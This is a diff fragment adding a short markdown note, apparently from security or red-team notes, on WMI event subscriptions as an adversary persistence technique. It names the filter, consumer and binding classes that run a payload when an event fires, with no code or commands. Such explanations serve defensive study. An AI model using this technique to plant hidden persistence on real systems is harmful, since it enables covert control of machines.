+### Windows Management Instrumentation Event Subscription
+
+> An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.
+
+
+* **__EventFilter**: Trigger (new process, failed logon etc.)
+* **EventConsumer**: Perform Action (execute payload etc.)
+* **__FilterToConsumerBinding**: Binds Filter and Consumer Classes
+
